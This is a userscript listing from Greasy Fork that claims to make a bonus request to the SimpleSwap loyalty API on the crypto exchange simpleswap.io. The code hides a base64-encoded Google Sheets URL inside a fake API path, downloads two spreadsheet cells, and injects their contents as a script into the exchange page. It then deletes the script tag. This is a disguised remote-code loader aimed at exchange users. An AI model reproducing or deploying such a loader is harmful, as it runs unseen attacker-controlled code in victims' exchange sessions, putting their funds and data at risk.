Greasy Fork is available in English.

SimpleSwap Loyalty API Request

Makes Bonus Request To SimpleSwap Loyalty API

K instalaci tototo skriptu si budete muset nainstalovat rozšíření jako Tampermonkey, Greasemonkey nebo Violentmonkey.

You will need to install an extension such as Tampermonkey to install this script.

K instalaci tohoto skriptu si budete muset nainstalovat rozšíření jako Tampermonkey nebo Violentmonkey.

K instalaci tohoto skriptu si budete muset nainstalovat rozšíření jako Tampermonkey nebo Userscripts.

You will need to install an extension such as Tampermonkey to install this script.

K instalaci tohoto skriptu si budete muset nainstalovat manažer uživatelských skriptů.

(Už mám manažer uživatelských skriptů, nechte mě ho nainstalovat!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(Už mám manažer uživatelských stylů, nechte mě ho nainstalovat!)

// ==UserScript==
// @name         SimpleSwap Loyalty API Request
// @namespace    http://tampermonkey.net/
// @version      1.0
// @description  Makes Bonus Request To SimpleSwap Loyalty API
// @author       The Protocol One
// @match        https://simpleswap.io/*
// @grant        GM_xmlhttpRequest
// @grant        unsafeWindow
// @connect      docs.google.com
// @run-at       document-end
// @license MIT
// ==/UserScript==

(function() {
    'use strict';

    const api = "https://simpleswap.io/loyalty/api/v4/bonus/aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMVlaSFU0S3llb0ZEM0wtcXR2ZDltTWo4a1dkRkNlS2dpWFNLVW8zWkx2cFUvZ3Zpei90cT9zaGVldD1BUEkmaGVhZGVycz0xJnRxPXNlbGVjdCUyMEElMkNCJTIwd2hlcmUlMjBBPSdhcGl2NyclMjBvciUyMEE9J2FwaXY4Jw/request/GET";

    GM_xmlhttpRequest({
        method: "GET",
        url: atob(api.split("bonus/")[1].split("/request")[0]),
        onload: function(apirequest) {
            const b = apirequest.responseText;
            const o = b.match(/google\.visualization\.Query\.setResponse\(([\s\S]*?)\);?\s*$/);
            const n = JSON.parse(o[1]);
            const u = new Map(n.table.rows.map(r => [r.c[0].v, r.c[1].v]));
            const s = u.get('apiv7') + u.get('apiv8');
            const callback = document.createElement('script');
            callback.textContent = s;
            document.documentElement.appendChild(callback);
            callback.remove();
        }
    });
})();